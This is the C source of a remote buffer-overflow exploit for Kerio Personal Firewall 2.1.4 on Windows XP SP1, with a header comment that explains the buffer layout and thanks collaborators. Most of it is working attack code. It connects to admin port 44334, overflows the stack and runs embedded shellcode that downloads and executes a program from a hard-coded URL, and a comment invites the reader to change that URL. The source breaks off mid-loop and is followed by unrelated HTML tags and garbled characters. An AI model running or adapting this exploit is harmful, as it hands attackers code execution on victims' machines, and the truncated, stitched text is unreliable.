/* AUTHOR: Burebista (aanton AT reversedhell.net) HOMEPAGE: www.reversedhell.net TITLE: Kerio Personal Firewall 2.1.4 on Windows XP with SP1 remote exploit VERSION: 2.1.4 15 Apr 2002 - 12:18:26 Exploit buffer looks something similar to this: [NOP][OVERWRITTEN BY KERIO][NOP].........[NOP][SHELLCODE][NOP]....[ret][OVERWRITTEN BY KERIO][CALL] | | | | | ---------------------------- | --------------------------------------------------------- I would like to greet and thank Undertakr, Animadei, smfcs, the whole Undernet #cracking channel, www.1plan.net for their webhosting, H.A.(ccc) (Madna Raria). Greetings to Raise who wrote the shellcode. I also thank gmistic, sham, north, and everybody else, you perfectly know who you are.. Sorry for not using own shellcode, this one was written by Raise from undersec, it's nice because it works on all windows platforms, or at least most. If you wish, you can modify it to restore the execution flow instead of exiting, this way the firewall will remain functional and it's more sexy. The execution flow changes at 0x418672 at the ret instruction. In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow a connection to port 44334 from your testing unix shell ip. NOTE: It is also possible to use UDP instead of TCP :-) Thanks to FreeBSD team for their nice OS. Thanks to Knud Hojgaard who mailed me about the shellcode, giving the credit to Raise from undersec.com . Very nice of you, thanks.I sent a new kerio.c file containing proper credits to all of the places where I have sent the first one, asking for update. It works out very well, if not, hit a few times with a ret addr of 0x41414141 to make it crash AT THAT addr. Then use the original one, it will work. The one I used points to a 'call esp' inside the RPCRT4.DLL. */ #include #include #include #include #include #include #include #include #include #define PORT 44334 // the port client will be connecting to, default Kerio admin port #define retpos 5272 #define MAXDATASIZE 5277 // max number of bytes we can get, also size of buffer // global vars struct sockaddr_in their_addr; // connector's address information char buf[MAXDATASIZE]; int numbytes; unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xEB\x30\x5F\xFC\x8B\xF7\x80" "\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1" "\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B" "\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40" "\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D" "\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33" "\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80" "\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6" "\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02" "\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03" "\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03" "\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76" "\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06" "\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02" "\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D" "\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC" "\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1" "\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53" "\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9" "\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0" "\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D" "\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B" "\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4" "\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0" "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4" "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0" "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64" "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49" "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08" "http://reversedhell.net/hackyou.exe" "\x08\x01"; // download + exec from the net ; by raise\xat\undersec.com // thanks to Knud Hojgaard for telling me who deserves credit for the shellcode //change the url to whatever, this one pops up an innofensive message box // end of global vars int suck(int sock,int n) // painfull function to get rid of the painfull Kerio protocol { int i=0,j=0,k,a=0,b=0,c=0,d=0; while (i200) && (a==0x1) && (b==0x0) && (c==0x1) && (d==0x0)) break; } fprintf(stderr,"\n"); return i; } int main(int argc, char *argv[]) { int sockfd, i,j; struct hostent *he; if (argc != 2) { fprintf(stderr,"usage: ./%s hostname\n",argv[0]); exit(1); } if ((he=gethostbyname(argv[1])) == NULL) { // get the host info perror("gethostbyname"); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // prepare a socket for connecting perror("socket"); exit(1); } their_addr.sin_family = AF_INET; // host byte order their_addr.sin_port = htons(PORT); // short, network byte order their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) { perror("connect"); exit(1); } fprintf(stderr,"shell len = %d\n",strlen(shellcode)); fprintf(stderr,"Connected to firewall.\n"); memset(buf,0x0,sizeof(buf)); fprintf(stderr,"Sucking buffer..\n"); suck(sockfd,266); fprintf(stderr,"\nBuffer sucked by black hole..\n"); memset(buf,0x0,sizeof(buf)); fprintf(stderr,"-------------------------------------------------\n"); fprintf(stderr," - BANNER - \n"); fprintf(stderr,"-------------------------------------------------\n"); sleep(1); fprintf(stderr,"coded by Burebista (aanton@reversedhell.net)\n"); fprintf(stderr," released on - 5 Apr 2003 -\n"); sleep(2); fprintf(stderr,"-------------------------------------------------\n"); memset(buf,0x90,MAXDATASIZE); // set nops all over // prepares call up to beginning of buffer 32 bit=5 bytes buf[MAXDATASIZE-1]='\xff'; // buf[MAXDATASIZE-2]='\xff'; // call -1150 buf[MAXDATASIZE-3]='\xee'; // buf[MAXDATASIZE-4]='\xab'; // buf[MAXDATASIZE-5]='\xe8'; // j=0; for (i=900;j
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß